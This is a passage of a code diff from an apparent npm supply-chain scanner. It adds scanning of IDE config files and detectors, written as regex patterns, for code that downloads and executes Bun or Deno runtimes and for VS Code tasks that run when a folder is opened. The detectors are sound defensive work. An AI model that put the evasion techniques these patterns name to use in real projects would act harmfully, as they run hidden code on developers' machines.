const allChecks = getStaticMarshallers().map(m => m.check.bind(m));
|
|
381
|
+
|
|
392
382
|
for (const chunk of chunks) {
|
|
393
|
-
for (const check of
|
|
383
|
+
for (const check of allChecks) {
|
|
394
384
|
const result = check(chunk);
|
|
395
385
|
if (result) {
|
|
396
386
|
const existing = allFindings.get(result.name);
|
package/src/core/scanner.js
CHANGED
|
@@ -145,7 +145,11 @@ async function scan(opts) {
|
|
|
145
145
|
if (selfResult) scanned.unshift(selfResult);
|
|
146
146
|
}
|
|
147
147
|
|
|
148
|
-
|
|
148
|
+
// Scan IDE/tool config files that can auto-execute code
|
|
149
|
+
const ideResults = scanIdeConfigs(cwd, config);
|
|
150
|
+
scanned.push(...ideResults);
|
|
151
|
+
|
|
152
|
+
scanned.totalPackages = allPackages.length + ideResults.length;
|
|
149
153
|
return scanned;
|
|
150
154
|
}
|
|
151
155
|
|
|
@@ -178,6 +182,78 @@ function scanCwdProject(cwd, config) {
|
|
|
178
182
|
return analyzeScriptsLocalFromDir(pkg, pkgJson, cwd, config);
|
|
179
183
|
}
|
|
180
184
|
|
|
185
|
+
const IDE_CONFIG_FILES = [
|
|
186
|
+
'.vscode/tasks.json',
|
|
187
|
+
'.vscode/settings.json',
|
|
188
|
+
'.vscode/launch.json',
|
|
189
|
+
'.claude/settings.json',
|
|
190
|
+
];
|
|
191
|
+
|
|
192
|
+
function scanIdeConfigs(cwd, config) {
|
|
193
|
+
const results = [];
|
|
194
|
+
|
|
195
|
+
for (const relPath of IDE_CONFIG_FILES) {
|
|
196
|
+
const fullPath = path.join(cwd, relPath);
|
|
197
|
+
if (!fs.existsSync(fullPath)) continue;
|
|
198
|
+
|
|
199
|
+
let code;
|
|
200
|
+
try { code = fs.readFileSync(fullPath, 'utf8'); } catch { continue; }
|
|
201
|
+
|
|
202
|
+
const result = detectObfuscation(code, config);
|
|
203
|
+
if (result.score === 0) continue;
|
|
204
|
+
|
|
205
|
+
results.push({
|
|
206
|
+
pkg: { name: relPath, version: '', self: true },
|
|
207
|
+
scripts: [{ lifecycle: 'ide-config', file: relPath, code, ...result }],
|
|
208
|
+
score: result.score,
|
|
209
|
+
findings: result.findings,
|
|
210
|
+
verdict: result.verdict,
|
|
211
|
+
});
|
|
212
|
+
|
|
213
|
+
// Also scan any files referenced by commands in tasks.json
|
|
214
|
+
if (relPath.endsWith('tasks.json')) {
|
|
215
|
+
const referenced = extractReferencedScripts(code, cwd);
|
|
216
|
+
for (const { file, scriptCode } of referenced) {
|
|
217
|
+
const scriptResult = detectObfuscation(scriptCode, config);
|
|
218
|
+
if (scriptResult.score > 0) {
|
|
219
|
+
const existing = results.find(r => r.pkg.name === relPath);
|
|
220
|
+
if (existing) {
|
|
221
|
+
existing.scripts.push({ lifecycle: 'task-script', file, code: scriptCode, ...scriptResult });
|
|
222
|
+
existing.findings.push(...scriptResult.findings);
|
|
223
|
+
if (scriptResult.score > existing.score) {
|
|
224
|
+
existing.score = scriptResult.score;
|
|
225
|
+
existing.verdict = verdictFromScore(scriptResult.score, config);
|
|
226
|
+
}
|
|
227
|
+
}
|
|
228
|
+
}
|
|
229
|
+
}
|
|
230
|
+
}
|
|
231
|
+
}
|
|
232
|
+
|
|
233
|
+
return results;
|
|
234
|
+
}
|
|
235
|
+
|
|
236
|
+
function extractReferencedScripts(tasksJson, cwd) {
|
|
237
|
+
const scripts = [];
|
|
238
|
+
try {
|
|
239
|
+
const tasks = JSON.parse(tasksJson);
|
|
240
|
+
for (const task of tasks.tasks || []) {
|
|
241
|
+
if (!task.command) continue;
|
|
242
|
+
// Extract file paths from commands like "node .claude/setup.mjs"
|
|
243
|
+
const match = task.command.match(/(?:node|bun|deno|sh|bash|python)\s+([^\s]+)/);
|
|
244
|
+
if (match) {
|
|
245
|
+
const scriptPath = path.join(cwd, match[1]);
|
|
246
|
+
if (fs.existsSync(scriptPath)) {
|
|
247
|
+
try {
|
|
248
|
+
scripts.push({ file: match[1], scriptCode: fs.readFileSync(scriptPath, 'utf8') });
|
|
249
|
+
} catch {}
|
|
250
|
+
}
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
} catch {}
|
|
254
|
+
return scripts;
|
|
255
|
+
}
|
|
256
|
+
|
|
181
257
|
/**
|
|
182
258
|
* Analyze a package's lifecycle scripts using a directory root as the
|
|
183
259
|
* filesystem base. Used for both node_modules packages and the CWD itself.
|
|
@@ -575,6 +651,17 @@ function extractSemver(range) {
|
|
|
575
651
|
return null;
|
|
576
652
|
}
|
|
577
653
|
|
|
654
|
+
/**
|
|
655
|
+
* Resolve an extracted (possibly partial) version to a full version using registry metadata.
|
|
656
|
+
* Falls back to dist-tags.latest when the partial version doesn't match any published version.
|
|
657
|
+
*/
|
|
658
|
+
function resolveVersion(extracted, meta) {
|
|
659
|
+
if (meta.versions && meta.versions[extracted]) return extracted;
|
|
660
|
+
const latest = meta['dist-tags'] && meta['dist-tags'].latest;
|
|
661
|
+
if (latest && meta.versions && meta.versions[latest]) return latest;
|
|
662
|
+
return null;
|
|
663
|
+
}
|
|
664
|
+
|
|
578
665
|
/**
|
|
579
666
|
* Resolve dependencies from package.json when no lockfile exists.
|
|
580
667
|
* @param {string} cwd
|
|
@@ -611,12 +698,13 @@ async function resolveFromPackageJson(cwd, config, noDev) {
|
|
|
611
698
|
try {
|
|
612
699
|
const encodedName = name.startsWith('@') ? `@${encodeURIComponent(name.slice(1))}` : encodeURIComponent(name);
|
|
613
700
|
const meta = await fetchJSON(`${config.registry}/${encodedName}`, { timeout: config.timeout });
|
|
614
|
-
const
|
|
615
|
-
if (!
|
|
701
|
+
const resolvedVersion = resolveVersion(version, meta);
|
|
702
|
+
if (!resolvedVersion) continue;
|
|
703
|
+
const versionData = meta.versions[resolvedVersion];
|
|
616
704
|
|
|
617
705
|
packages.push({
|
|
618
706
|
name,
|
|
619
|
-
version,
|
|
707
|
+
version: resolvedVersion,
|
|
620
708
|
resolved: versionData.dist && versionData.dist.tarball,
|
|
621
709
|
integrity: versionData.dist && versionData.dist.integrity || '',
|
|
622
710
|
hasInstallScript: !!(versionData.scripts &&
|
|
@@ -676,22 +764,25 @@ async function resolveSinglePackage(packageSpec, config) {
|
|
|
676
764
|
for (const [depName] of queue) seen.add(depName);
|
|
677
765
|
|
|
678
766
|
const resolutions = await mapWithConcurrency(queue, config.parallelFetches, async ([depName, range]) => {
|
|
679
|
-
const
|
|
680
|
-
if (!
|
|
767
|
+
const extractedVersion = extractSemver(range);
|
|
768
|
+
if (!extractedVersion) return null;
|
|
681
769
|
|
|
682
770
|
let depScripts = false;
|
|
683
771
|
let depDeps = null;
|
|
684
|
-
let depTarball = buildTarballUrl(depName,
|
|
772
|
+
let depTarball = buildTarballUrl(depName, extractedVersion, config.registry);
|
|
685
773
|
let depIntegrity = '';
|
|
774
|
+
let resolvedDepVersion = extractedVersion;
|
|
686
775
|
|
|
687
776
|
try {
|
|
688
777
|
const encodedDep = depName.startsWith('@') ? `@${encodeURIComponent(depName.slice(1))}` : encodeURIComponent(depName);
|
|
689
778
|
const depMeta = await fetchJSON(`${config.registry}/${encodedDep}`, { timeout: config.timeout });
|
|
690
|
-
const
|
|
779
|
+
const fullVersion = resolveVersion(extractedVersion, depMeta);
|
|
780
|
+
const depData = fullVersion && depMeta.versions && depMeta.versions[fullVersion];
|
|
691
781
|
if (depData) {
|
|
782
|
+
resolvedDepVersion = fullVersion;
|
|
692
783
|
depScripts = !!(depData.scripts &&
|
|
693
784
|
(depData.scripts.preinstall || depData.scripts.postinstall || depData.scripts.install));
|
|
694
|
-
depTarball = depData.dist && depData.dist.tarball ||
|
|
785
|
+
depTarball = depData.dist && depData.dist.tarball || buildTarballUrl(depName, fullVersion, config.registry);
|
|
695
786
|
depIntegrity = depData.dist && depData.dist.integrity || '';
|
|
696
787
|
depDeps = depData.dependencies;
|
|
697
788
|
}
|
|
@@ -702,7 +793,7 @@ async function resolveSinglePackage(packageSpec, config) {
|
|
|
702
793
|
return {
|
|
703
794
|
pkg: {
|
|
704
795
|
name: depName,
|
|
705
|
-
version:
|
|
796
|
+
version: resolvedDepVersion,
|
|
706
797
|
resolved: depTarball,
|
|
707
798
|
integrity: depIntegrity,
|
|
708
799
|
hasInstallScript: depScripts,
|
|
@@ -761,4 +852,4 @@ async function mapWithConcurrency(items, limit, fn) {
|
|
|
761
852
|
return results;
|
|
762
853
|
}
|
|
763
854
|
|
|
764
|
-
module.exports = { scan, hasInstallScripts, extractScriptFileFromCommand, verdictFromScore };
|
|
855
|
+
module.exports = { scan, hasInstallScripts, extractScriptFileFromCommand, verdictFromScore, resolveVersion, extractSemver };
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { Marshaller } = require('./base');
|
|
4
|
+
|
|
5
|
+
class RuntimeDownloadMarshaller extends Marshaller {
|
|
6
|
+
constructor() {
|
|
7
|
+
super('runtime-download', 'External runtime download and execution');
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
check(code) {
|
|
11
|
+
// Detect downloading external runtimes (common evasion: use Bun/Deno to bypass Node-based tools)
|
|
12
|
+
const runtimePatterns = [
|
|
13
|
+
/bun-(?:linux|darwin|windows)/i,
|
|
14
|
+
/oven-sh\/bun/i,
|
|
15
|
+
/deno\.land/i,
|
|
16
|
+
/denoland\/deno/i,
|
|
17
|
+
/BUN_VERSION/,
|
|
18
|
+
/DENO_VERSION/,
|
|
19
|
+
/bun\.exe/,
|
|
20
|
+
/deno\.exe/,
|
|
21
|
+
];
|
|
22
|
+
|
|
23
|
+
// Detect execution of downloaded binaries
|
|
24
|
+
const execPatterns = [
|
|
25
|
+
/execFileSync\s*\(\s*\w*[Bb]un/,
|
|
26
|
+
/execFileSync\s*\(\s*\w*[Dd]eno/,
|
|
27
|
+
/execFile\s*\(\s*\w*[Bb]un/,
|
|
28
|
+
/execFile\s*\(\s*\w*[Dd]eno/,
|
|
29
|
+
/spawn\s*\(\s*\w*[Bb]un/,
|
|
30
|
+
/spawn\s*\(\s*\w*[Dd]eno/,
|
|
31
|
+
// Generic: download + chmod + exec pattern
|
|
32
|
+
/chmodSync\s*\([^)]*0o?755\)[\s\S]{0,500}execFileSync/,
|
|
33
|
+
/chmod[\s\S]{0,200}exec(?:File)?(?:Sync)?\s*\(/,
|
|
34
|
+
];
|
|
35
|
+
|
|
36
|
+
// Detect download URLs for binaries combined with execution
|
|
37
|
+
const downloadExecPatterns = [
|
|
38
|
+
/https:\/\/github\.com\/[^/]+\/[^/]+\/releases\/download[\s\S]{0,1000}exec(?:File)?(?:Sync)?\s*\(/,
|
|
39
|
+
/downloadToFile[\s\S]{0,2000}exec(?:File)?(?:Sync)?\s*\(/,
|
|
40
|
+
/createWriteStream[\s\S]{0,2000}exec(?:File)?(?:Sync)?\s*\(/,
|
|
41
|
+
];
|
|
42
|
+
|
|
43
|
+
const runtimeMatches = runtimePatterns.filter(p => p.test(code));
|
|
44
|
+
const execMatches = execPatterns.filter(p => p.test(code));
|
|
45
|
+
const downloadExecMatches = downloadExecPatterns.filter(p => p.test(code));
|
|
46
|
+
|
|
47
|
+
if (runtimeMatches.length === 0 && downloadExecMatches.length === 0) return null;
|
|
48
|
+
|
|
49
|
+
const details = [];
|
|
50
|
+
|
|
51
|
+
if (runtimeMatches.length > 0) {
|
|
52
|
+
details.push(`external runtime reference (${runtimeMatches.length} pattern(s))`);
|
|
53
|
+
}
|
|
54
|
+
if (execMatches.length > 0) {
|
|
55
|
+
details.push(`executes downloaded binary (${execMatches.length} pattern(s))`);
|
|
56
|
+
}
|
|
57
|
+
if (downloadExecMatches.length > 0) {
|
|
58
|
+
details.push('downloads and executes remote binary');
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// High score: downloading a runtime to execute code is a major evasion technique
|
|
62
|
+
let score = 9;
|
|
63
|
+
if (runtimeMatches.length > 0 && (execMatches.length > 0 || downloadExecMatches.length > 0)) {
|
|
64
|
+
score = 50;
|
|
65
|
+
} else if (downloadExecMatches.length > 0) {
|
|
66
|
+
score = 30;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
return { name: this.name, score, detail: details.join('; ') };
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
module.exports = new RuntimeDownloadMarshaller();
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const { Marshaller } = require('./base');
|
|
4
|
+
|
|
5
|
+
class VscodeTasksMarshaller extends Marshaller {
|
|
6
|
+
constructor() {
|
|
7
|
+
super('vscode-autorun', 'VS Code tasks with automatic execution');
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
check(code) {
|
|
11
|
+
// Detect tasks.json content with runOn: folderOpen (auto-executes on project open)
|
|
12
|
+
if (!code.includes('runOn') && !code.includes('folderOpen')) return null;
|
|
13
|
+
|
|
14
|
+
const hasFolderOpen = /["']runOn["']\s*:\s*["']folderOpen["']/.test(code);
|
|
15
|
+
if (!hasFolderOpen) return null;
|
|
16
|
+
|
|
17
|
+
// Extract the command being auto-run
|
|
18
|
+
const commandMatch = code.match(/["']command["']\s*:\s*["']([^"']+)["']/);
|
|
19
|
+
const command = commandMatch ? commandMatch[1] : 'unknown';
|
|
20
|
+
|
|
21
|
+
return {
|
|
22
|
+
name: this.name,
|
|
23
|
+
score: 30,
|
|
24
|
+
detail: `VS Code task auto-executes on folder open: "${command}"`,
|
|
25
|
+
};
|
|
26
|
+
}
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
module.exports = new VscodeTasksMarshaller();
|
package/src/utils/output.js
CHANGED
|
@@ -90,15 +90,16 @@ function printPackageResult(pkg, result) {
|
|
|
90
90
|
}
|
|
91
91
|
}
|
|
92
92
|
|
|
93
|
-
function printSummary(results) {
|
|
93
|
+
function printSummary(results, elapsedMs) {
|
|
94
94
|
const blocked = results.filter(r => r.verdict === 'BLOCK').length;
|
|
95
95
|
const warned = results.filter(r => r.verdict === 'WARN').length;
|
|
96
96
|
const total = results.totalPackages || results.length;
|
|
97
97
|
const ok = total - blocked - warned;
|
|
98
|
+
const timing = elapsedMs != null ? dim(` (${elapsedMs}ms)`) : '';
|
|
98
99
|
|
|
99
100
|
log('');
|
|
100
101
|
log(dim('─'.repeat(60)));
|
|
101
|
-
log(` ${green(String(ok))} clean ${yellow(String(warned))} warnings ${red(String(blocked))} blocked`);
|
|
102
|
+
log(` ${green(String(ok))} clean ${yellow(String(warned))} warnings ${red(String(blocked))} blocked${timing}`);
|
|
102
103
|
log('');
|
|
103
104
|
}
|
|
104
105
|
|